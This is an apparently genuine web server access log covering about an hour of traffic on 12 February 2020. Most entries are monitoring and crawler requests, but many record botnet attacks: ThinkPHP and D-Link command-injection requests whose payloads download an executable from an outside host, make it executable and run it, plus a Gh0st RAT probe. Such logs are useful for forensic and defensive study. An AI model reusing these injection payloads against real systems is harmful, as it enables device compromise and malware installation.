121.164.35.72 - - [12/Feb/2020:08:18:31 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
181.169.127.5 - - [12/Feb/2020:08:18:32 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [12/Feb/2020:08:18:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.164.35.72 - - [12/Feb/2020:08:18:56 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [12/Feb/2020:08:19:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.48.152 - - [12/Feb/2020:08:20:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:08:20:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:08:21:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:08:22:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.163.255.19 - - [12/Feb/2020:08:23:09 +0100] "GET /robots.txt HTTP/1.0" 404 327 "-" "Mozilla/5.0 (compatible; Linux x86_64; Mail.RU_Bot/2.0; +http://go.mail.ru/help/robots)"
95.163.255.18 - - [12/Feb/2020:08:23:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; Linux x86_64; Mail.RU_Bot/2.0; +http://go.mail.ru/help/robots)"
212.91.246.72 - - [12/Feb/2020:08:23:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:08:24:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:08:25:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:08:26:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:08:27:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:08:28:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:08:29:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:08:30:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:08:31:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.251.7.103 - - [12/Feb/2020:08:32:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
111.93.191.38 - - [12/Feb/2020:08:32:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [12/Feb/2020:08:32:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:08:33:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:08:34:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:08:35:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.188.210.101 - - [12/Feb/2020:08:36:19 +0100] "GET http://5.188.210.101/echo.php HTTP/1.1" 404 313 "https://www.google.com/" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"
5.188.210.101 - - [12/Feb/2020:08:36:22 +0100] "GET http://5.188.210.101/echo.php HTTP/1.1" 404 313 "https://www.google.com/" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:08:36:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.60.85.203 - - [12/Feb/2020:08:37:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:08:37:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.88.140.82 - - [12/Feb/2020:08:38:02 +0100] "GET / HTTP/1.1" 200 1229 "http://www.herrmann-kleindienst.de/produkte/fuehrerscheinwesen/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.18363"
212.88.140.82 - - [12/Feb/2020:08:38:02 +0100] "GET /favicon.ico HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.18363"
212.91.246.72 - - [12/Feb/2020:08:38:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.188.210.101 - - [12/Feb/2020:08:39:27 +0100] "GET http://5.188.210.101/echo.php HTTP/1.1" 404 313 "https://www.google.com/" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:08:39:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:08:40:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
71.6.232.4 - - [12/Feb/2020:08:40:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36"
5.188.210.101 - - [12/Feb/2020:08:40:58 +0100] "GET http://5.188.210.101/echo.php HTTP/1.1" 404 313 "https://www.google.com/" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:08:41:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:08:42:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:08:43:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:08:44:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
157.55.39.34 - - [12/Feb/2020:08:45:38 +0100] "GET /robots.txt HTTP/1.1" 404 320 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
157.55.39.53 - - [12/Feb/2020:08:45:39 +0100] "GET / HTTP/1.1" 304 - "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
212.91.246.72 - - [12/Feb/2020:08:45:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
58.58.7.106 - - [12/Feb/2020:08:46:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:08:46:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:08:47:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:08:48:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:08:49:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:08:50:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:08:51:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:08:52:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
71.6.232.4 - - [12/Feb/2020:08:52:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:08:53:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.138.83.147 - - [12/Feb/2020:08:53:41 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear.selfrep%60 HTTP/1.1" 400 340 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
121.138.83.147 - - [12/Feb/2020:08:53:45 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear.selfrep%60 HTTP/1.1" 400 340 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
121.138.83.147 - - [12/Feb/2020:08:53:51 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear.selfrep%60 HTTP/1.1" 400 340 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
121.138.83.147 - - [12/Feb/2020:08:54:03 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear.selfrep%60 HTTP/1.1" 400 340 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
121.138.83.147 - - [12/Feb/2020:08:54:27 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear.selfrep%60 HTTP/1.1" 400 342 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
212.91.246.72 - - [12/Feb/2020:08:54:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.143.253.234 - - [12/Feb/2020:08:54:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:08:55:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:08:56:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:08:57:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
36.255.104.204 - - [12/Feb/2020:08:57:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:08:58:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:08:59:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.180.167.150 - - [12/Feb/2020:09:00:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:09:00:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:09:01:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:09:02:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
116.105.67.32 - - [12/Feb/2020:09:03:12 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
112.72.80.115 - - [12/Feb/2020:09:03:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:09:03:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
218.250.112.52 - - [12/Feb/2020:09:04:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
45.152.6.58 - - [12/Feb/2020:09:04:30 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [12/Feb/2020:09:04:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [12/Feb/2020:09:05:08 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [12/Feb/2020:09:05:15 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [12/Feb/2020:09:05:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:09:06:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:09:07:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:09:08:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:09:09:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:09:10:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [12/Feb/2020:09:11:28 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [12/Feb/2020:09:11:34 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [12/Feb/2020:09:11:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [12/Feb/2020:09:11:57 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [12/Feb/2020:09:11:59 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
78.186.153.91 - - [12/Feb/2020:09:12:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
45.152.6.58 - - [12/Feb/2020:09:12:37 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [12/Feb/2020:09:12:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [12/Feb/2020:09:12:45 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [12/Feb/2020:09:12:52 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
42.117.20.250 - - [12/Feb/2020:09:13:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:09:13:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:09:14:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.73.135 - - [12/Feb/2020:09:15:22 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.73.135 - - [12/Feb/2020:09:15:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
189.39.244.181 - - [12/Feb/2020:09:15:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:09:15:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:09:16:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.234.234.129 - - [12/Feb/2020:09:16:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:09:17:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.215.94.165 - - [12/Feb/2020:09:17:44 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
80.26.154.92 - - [12/Feb/2020:09:18:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
71.6.232.4 - - [12/Feb/2020:09:18:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:09:18:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:09:19:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:09:20:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:09:21:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
34.90.62.109 - - [12/Feb/2020:09:21:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:09:22:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:09:23:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.70.218 - - [12/Feb/2020:09:23:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:09:24:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.73.139 - - [12/Feb/2020:09:25:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [12/Feb/2020:09:25:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.144.182.130 - - [12/Feb/2020:09:26:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:09:26:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:09:27:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.34.70.61 - - [12/Feb/2020:09:28:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:09:28:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:09:29:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [12/Feb/2020:09:30:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.240.205.34 - - [12/Feb/2020:09:31:34 +0100] "Gh0st\xad" 501 321 "-" "-"
212.91.246.72 - - [12/Feb/2020:09:31:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.6.52.53 - - [12/Feb/2020:09:32:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.117.20.80 - - [12/Feb/2020:09:32:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:09:32:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.71.169.156 - - [12/Feb/2020:09:33:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [12/Feb/2020:09:33:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.0.165.227 - - [12/Feb/2020:09:34:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [12/Feb/2020:09:34:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
